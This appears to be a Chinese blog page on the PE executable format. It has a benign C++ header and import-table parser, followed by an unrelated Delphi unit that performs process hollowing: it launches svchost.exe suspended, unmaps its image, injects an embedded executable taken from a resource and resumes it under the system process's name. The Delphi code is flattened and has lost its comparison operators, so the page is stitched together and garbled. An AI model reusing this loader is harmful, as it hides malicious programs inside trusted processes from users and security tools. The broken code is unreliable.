PE结构解析

OriginalFirstThunk : 00013064
TimeDateStamp : 00000000
ForwarderChain : 00000000
Name : KERNEL32.dll
FirstThunk : 0001335c

一个目录项代表一个dll,里面可包含多个导入项。
OriginalFirstThunk为导入符号表的RVA
FirstThunk为导入地址表的RVA。
hint: 217
name: DeleteCriticalSection
address: 0000000000013654

导入地址表,动态链接器负责将dll函数的地址印射到导入地址表里面

#include<iostream>
#include<fstream>
#include<iomanip>
#include<vector>
#include<windows.h>
using namespace std;
#define Read(S) readBytes(input,&S,sizeof S)
#define ReadAddr(S,addr) readAddr(input,&S,sizeof(S),addr)
#define ReadStr(addr) readStr(input,addr);
int symposition;
int numofsym;
int NtPosition ;
#define BYSEQ 0x8000000000000000
typedef enum {
    PE32,PE32plus
}PE;
PE pe=PE32;
char dataDirectories[][64]={
    "Export Table",
    "Import Table",
    "Resource Table",
    "Exception Table",
    "Certificate Table",
    "Base Relocation Table",
    "Debug ",
    "Architecture",
    "Global Ptr",
    "TLS Table",
    "Load Config Table",
    "Bound Import",
    "IAT",
    "Delay Import Descriptor",
    "CLR Runtime Header",
    "Reserved "
};
void readBytes(ifstream &input,void *p,int len){    
    char *t=(char *)p;
    for(int i=0;i<len;i++)t[i]=input.get();
}
void readAddr(ifstream &input,void *pp,int len,int raw){
    auto t=input.tellg();
    input.seekg(raw);
    char *p=(char*)pp;
    for(int i=0;i<len;i++)p[i]=input.get();
    input.seekg(t);
}
void readStr(ifstream &input,unsigned long long raw){
    auto t=input.tellg();
    input.seekg(raw);
    char c;
    do{
        c=input.get();
        if(c)
            cout.put(c);
    }while(c);
    input.seekg(t);
}

//读取dos头
void readDos(ifstream &input){
    IMAGE_DOS_HEADER dos;
    Read(dos);
    //cout<<a[0]<<a[1]<<endl;
    printf("magic    : %04x\n",dos.e_magic);
    printf("cblp     : %04x\n",dos.e_cblp);
    printf("cp       : %04x\n",dos.e_cp);
    printf("crlc     : %04x\n",dos.e_crlc);
    printf("cparhdr  : %04x\n",dos.e_cparhdr);
    printf("minalloc : %04x\n",dos.e_minalloc);
    printf("ss       : %04x\n",dos.e_ss);
    printf("sp       : %04x\n",dos.e_sp);
    printf("csum     : %04x\n",dos.e_csum);
    printf("ip       : %04x\n",dos.e_ip);
    printf("cs       : %04x\n",dos.e_cs);
    printf("lfarlc   : %04x\n",dos.e_lfarlc);
    printf("ovno     : %04x\n",dos.e_ovno);
    printf("res      :\n");
    for(int i=0;i<4;i++) printf("%04x ",dos.e_res[i]);
    puts("");
    printf("oemid    : %04x\n",dos.e_oemid);
    printf("oeminfo  : %04x\n",dos.e_oeminfo);
    printf("res2      :\n");
    for(int i=0;i<10;i++) printf("%04x ",dos.e_res2[i]);
    puts("");
    printf("lfanew  : %08lx\n",dos.e_lfanew);
    puts("");
    NtPosition = dos.e_lfanew;
}

void readNt(ifstream &input){
    input.seekg(NtPosition);
    DWORD Signature;
    Read(Signature);
    IMAGE_FILE_HEADER FileHeader;
    Read(FileHeader);
    printf("Signature             : %08lx\n",Signature);
    puts("");
    printf("Machine               : %04x\n",FileHeader.Machine);
    printf("NumberOfSections      : %04x\n",FileHeader.NumberOfSections);
    printf("TimeDateStamp         : %08lx\n",FileHeader.TimeDateStamp);
    printf("PointerToSymbolTable  : %08lx\n",FileHeader.PointerToSymbolTable);
    printf("NumberOfSymbols       : %08lx\n",FileHeader.NumberOfSymbols);
    printf("SizeOfOptionalHeader  : %04x\n",FileHeader.SizeOfOptionalHeader);
    printf("Characteristics       : %04x\n",FileHeader.Characteristics);
    puts("");
    
    symposition=FileHeader.PointerToSymbolTable;
    numofsym=FileHeader.NumberOfSymbols;
    
    union {
        IMAGE_OPTIONAL_HEADER64 a;
        IMAGE_OPTIONAL_HEADER32 b;
    }OH;
    char *p=(char *)&OH;
    int dircnt=0;
    //判断是PE32 还是 PE32+
    if (FileHeader.Machine != 0x014c) {
        pe=PE32plus;
        Read(OH.a);
        IMAGE_OPTIONAL_HEADER64 &OptionalHeader = OH.a;
        printf("magic                           : %04x\n", OptionalHeader.Magic);
        printf("MajorLinkerVersion              : %02x\n", OptionalHeader.MajorLinkerVersion);
        printf("MinorLinkerVersion              : %02x\n", OptionalHeader.MinorLinkerVersion);
        printf("SizeOfCode                      : %08lx\n", OptionalHeader.SizeOfCode);
        printf("SizeOfInitializedData           : %08lx\n", OptionalHeader.SizeOfInitializedData);
        printf("SizeOfUninitializedData         : %08lx\n", OptionalHeader.SizeOfUninitializedData);
        printf("AddressOfEntryPoint             : %08lx\n", OptionalHeader.AddressOfEntryPoint);
        printf("BaseOfCode                      : %08lx\n", OptionalHeader.BaseOfCode);
        //printf("BaseOfData                      : %08lx\n",OptionalHeader.BaseOfData);
        printf("ImageBase                       : %016llx\n", OptionalHeader.ImageBase);
        printf("SectionAlignment                : %08lx\n", OptionalHeader.SectionAlignment);
        printf("FileAlignment                   : %08lx\n", OptionalHeader.FileAlignment);
        printf("MajorOperatingSystemVersion     : %04x\n", OptionalHeader.MajorOperatingSystemVersion);
        printf("MinorOperatingSystemVersion     : %04x\n", OptionalHeader.MinorOperatingSystemVersion);
        printf("MajorImageVersion               : %04x\n", OptionalHeader.MajorImageVersion);
        printf("MinorImageVersion               : %04x\n", OptionalHeader.MinorImageVersion);
        printf("MajorSubsystemVersion           : %04x\n", OptionalHeader.MajorSubsystemVersion);
        printf("MinorSubsystemVersion           : %04x\n", OptionalHeader.MinorSubsystemVersion);
        printf("Win32VersionValue               : %08lx\n", OptionalHeader.Win32VersionValue);
        printf("SizeOfImage                     : %08lx\n", OptionalHeader.SizeOfImage);
        printf("SizeOfHeaders                   : %08lx\n", OptionalHeader.SizeOfHeaders);
        printf("CheckSum                        : %08lx\n", OptionalHeader.CheckSum);
        printf("Subsystem                       : %04x\n", OptionalHeader.Subsystem);
        printf("DllCharacteristics              : %04x\n", OptionalHeader.DllCharacteristics);
        printf("SizeOfStackReserve              : %016llx\n", OptionalHeader.SizeOfStackReserve);
        printf("SizeOfStackCommit               : %016llx\n", OptionalHeader.SizeOfStackCommit);
        printf("SizeOfHeapReserve               : %016llx\n", OptionalHeader.SizeOfHeapReserve);
        printf("SizeOfHeapCommit                : %016llx\n", OptionalHeader.SizeOfHeapCommit);
        printf("LoaderFlags                     : %08lx\n", OptionalHeader.LoaderFlags);
        printf("NumberOfRvaAndSizes             : %08lx\n", OptionalHeader.NumberOfRvaAndSizes);
        printf("DataDirectory:\n");

        for (int i = 0; i < OptionalHeader.NumberOfRvaAndSizes; i++) {
            printf("%24s :",dataDirectories[i]);
            printf("%02d : Size:%08lx VirtualAddress:%016lx\n", i, OptionalHeader.DataDirectory[i].Size,
                OptionalHeader.DataDirectory[i].VirtualAddress);

        }
    }else{
        Read(OH.b);
        IMAGE_OPTIONAL_HEADER32 OptionalHeader=OH.b;
        printf("magic                           : %04x\n",OptionalHeader.Magic);
        printf("MajorLinkerVersion              : %02x\n",OptionalHeader.MajorLinkerVersion);
        printf("MinorLinkerVersion              : %02x\n",OptionalHeader.MinorLinkerVersion);
        printf("SizeOfCode                      : %08lx\n",OptionalHeader.SizeOfCode);
        printf("SizeOfInitializedData           : %08lx\n",OptionalHeader.SizeOfInitializedData);
        printf("SizeOfUninitializedData         : %08lx\n",OptionalHeader.SizeOfUninitializedData);
        printf("AddressOfEntryPoint             : %08lx\n",OptionalHeader.AddressOfEntryPoint);
        printf("BaseOfCode                      : %08lx\n",OptionalHeader.BaseOfCode);
        printf("BaseOfData                      : %08lx\n",OptionalHeader.BaseOfData);
        printf("ImageBase                       : %08lx\n",OptionalHeader.ImageBase);  
        printf("SectionAlignment                : %08lx\n",OptionalHeader.SectionAlignment);
        printf("FileAlignment                   : %08lx\n",OptionalHeader.FileAlignment);
        printf("MajorOperatingSystemVersion     : %04x\n",OptionalHeader.MajorOperatingSystemVersion);
        printf("MinorOperatingSystemVersion     : %04x\n",OptionalHeader.MinorOperatingSystemVersion);
        printf("MajorImageVersion               : %04x\n",OptionalHeader.MajorImageVersion);
        printf("MinorImageVersion               : %04x\n",OptionalHeader.MinorImageVersion);
        printf("MajorSubsystemVersion           : %04x\n",OptionalHeader.MajorSubsystemVersion);
        printf("MinorSubsystemVersion           : %04x\n",OptionalHeader.MinorSubsystemVersion);
        printf("Win32VersionValue               : %08lx\n",OptionalHeader.Win32VersionValue);
        printf("SizeOfImage                     : %08lx\n",OptionalHeader.SizeOfImage);
        printf("SizeOfHeaders                   : %08lx\n",OptionalHeader.SizeOfHeaders);
        printf("CheckSum                        : %08lx\n",OptionalHeader.CheckSum);
        printf("Subsystem                       : %04x\n",OptionalHeader.Subsystem);
        printf("DllCharacteristics              : %04x\n",OptionalHeader.DllCharacteristics);
        printf("SizeOfStackReserve              : %08lx\n",OptionalHeader.SizeOfStackReserve);
        printf("SizeOfStackCommit               : %08lx\n",OptionalHeader.SizeOfStackCommit);
        printf("SizeOfHeapReserve               : %08lx\n",OptionalHeader.SizeOfHeapReserve);
        printf("SizeOfHeapCommit                : %08lx\n",OptionalHeader.SizeOfHeapCommit);
        printf("LoaderFlags                     : %08lx\n",OptionalHeader.LoaderFlags);
        printf("NumberOfRvaAndSizes             : %08lx\n",OptionalHeader.NumberOfRvaAndSizes);
        for (int i = 0; i < OptionalHeader.NumberOfRvaAndSizes; i++) {
            printf("%24s :",dataDirectories[i]);
            printf("%02d : Size:%08lx VirtualAddress:%016lx\n", i, OptionalHeader.DataDirectory[i].Size,
                OptionalHeader.DataDirectory[i].VirtualAddress);

        }
        
    }

    //读取section header
    IMAGE_SECTION_HEADER sh;
    for(int i=0;i< FileHeader.NumberOfSections;i++){
        Read(sh);
        printf("Name                 : ");
        if(sh.Name[0]!='/'){
            for (int i = 0; i < 8; i++) {
                if (sh.Name[i] != '\0')putchar(sh.Name[i]);
                else break;
            }puts("");
        }else{
            int off = atoi((char*)sh.Name+1);
            auto t=input.tellg();
            input.seekg(symposition+18*numofsym+off);
            while(true){
                char c=input.get();
                if(c!='\0')cout.put(c);
                else break;
            }
            input.seekg(t);
        }
        printf("VirtualSize          :%08lx\n", sh.Misc.VirtualSize);
        printf("VirtualAddress       :%08lx\n", sh.VirtualAddress);
        printf("SizeOfRawData        :%08lx\n", sh.SizeOfRawData);
        printf("PointerToRawData     :%08lx\n", sh.PointerToRawData);
        printf("PointerToRelocations :%08lx\n", sh.PointerToRelocations);
        printf("PointerToLinenumbers :%08lx\n", sh.PointerToLinenumbers);
        printf("NumberOfRelocations  :%04x\n", sh.NumberOfRelocations);
        printf("NumberOfLinenumbers  :%04x\n", sh.NumberOfLinenumbers);
        printf("Characteristics      :%08lx\n", sh.Characteristics);
        puts("");
        auto idatastart =sh.VirtualAddress;
        auto secheaderaddr=input.tellg();
        //保存节头表位置并查找节所对应的数据
        input.seekg(sh.PointerToRawData);
        int cnt=16;
        if(!strcmp((char*)sh.Name,".rdata")){
            for(int i=0;i<sh.SizeOfRawData&&i<500;i++){
                unsigned char c=input.get();
                if(c>=32&&c<126){
                    printf("%c",c);
                }else if(c=='\n')puts("");
                else printf("%02x ",c);
                cnt--;
                if(cnt==0){
                    //puts("");
                    cnt=16;
                }
            }
        }else if(!strcmp((char *)sh.Name,".idata")){
            int len=sh.SizeOfRawData;
            IMAGE_IMPORT_DESCRIPTOR iid;
            vector<IMAGE_IMPORT_DESCRIPTOR> IID;
            do{
                Read(iid);
                IID.push_back(iid);
            }while(iid.OriginalFirstThunk!=0);
            for(int i=0;i<IID.size()-1;i++){
                IMAGE_IMPORT_DESCRIPTOR iid=IID[i];
                printf("OriginalFirstThunk : %08lx\n",iid.OriginalFirstThunk);
                printf("TimeDateStamp      : %08lx\n",iid.TimeDateStamp);
                printf("ForwarderChain     : %08lx\n",iid.ForwarderChain);
                
                //求在idata中的偏移
                input.seekg(sh.PointerToRawData+iid.Name - idatastart);
                char c;
                printf("Name               : ");
                while(c=input.get(),c != '\0'){
                    cout.put(c);
                }
                puts("");
                printf("FirstThunk         : %08lx\n",iid.FirstThunk);
                puts("");
                if(pe==PE32){

                }else{
                    unsigned long long ist;
                    vector<unsigned long long> INT;
                    auto t=iid.OriginalFirstThunk-idatastart
                        +sh.PointerToRawData;
                    input.seekg(t);
                    do{
                        Read(ist);
                        INT.push_back(ist);
                    }while(ist);
                    t=iid.FirstThunk-idatastart
                        +sh.PointerToRawData;
                    input.seekg(t);
                    vector<unsigned long long > IAT;
                    
                    do{
                        Read(ist);
                        IAT.push_back(ist);
                    }while(ist);

                    for(int i=0;i<INT.size()-1;i++){
                        auto ist=INT[i];
                        auto iat=IAT[i];
                        auto raw=sh.PointerToRawData+ist-idatastart;
                        WORD hint;
                        ReadAddr(hint,raw);
                        printf("hint: %d \nname: ",hint);
                        ReadStr(raw+2);
                        puts("");
                        printf("address: %016llx\n",iat);
                    }
                    cout<<"end"<<endl;
                }

            }

        }else{
            for(int i=0;i<sh.SizeOfRawData&&i<500;i++){
                unsigned char c=input.get();
                printf("%02x ",c);
                cnt--;
                if(cnt==0){
                    puts("");
                    cnt=16;
                }
            }
        }
        puts("");
        input.seekg(secheaderaddr);
    }    
}

void readSym(ifstream &input){
    IMAGE_SYMBOL sym;
    input.seekg(symposition);
    for(int i=0;i<numofsym;i++){
        char *p=(char *)&sym;
        for(int j=0;j<sizeof (sym);j++){
            p[j]=input.get();
        }
        printf("Name                 : ");
        if(sym.N.Name.Short==0){
            auto t=input.tellg();
            input.seekg(symposition+18*numofsym+sym.N.Name.Long);
            while(true){
                char c=input.get();
                if(c!='\0')cout.put(c);
                else break;
            }
            input.seekg(t);
        }else{
            for(int j=0;j<8;j++){
                if(sym.N.ShortName[j]!='\0')cout.put(sym.N.ShortName[j]);
                else break;
            }
        }puts("");
        printf("Value                : %08lx\n",sym.Value);
        printf("SectionNumber        : %04x\n",sym.SectionNumber);
        printf("Type                 : %04x\n",sym.Type);
        printf("StorageClass         : %02x\n",sym.StorageClass);
        printf("NumberOfAuxSymbols   : %02x\n",sym.NumberOfAuxSymbols);
        puts("");
    }
}
void readSt(ifstream &input){
    puts("");
    puts("strings :");
    DWORD len ;
    input.seekg(symposition+18*numofsym);
    char *a=(char *)&len;
    for(int i=0;i<4;i++)a[i]=input.get();
    for(int i=0;i<len-4;i++){
        unsigned char c=input.get();
            if(c>=32&&c<126){
                printf("%c",c);
            }else if(c=='\n')puts("");
            else printf("%02x ",c);
    }
}


int main(int argc,char **argv){
    if(argc<2){
        cout<<"need file name"<<endl;
    }
    ifstream input(argv[1],ios::binary);
    if(input.is_open()){
        //cout<<"open success"<<endl;
    }else{
        cout<<"open failed"<<endl;
    }
    readDos(input);
    readNt(input);
    readSym(input);
    readSt(input);

}
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存中的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值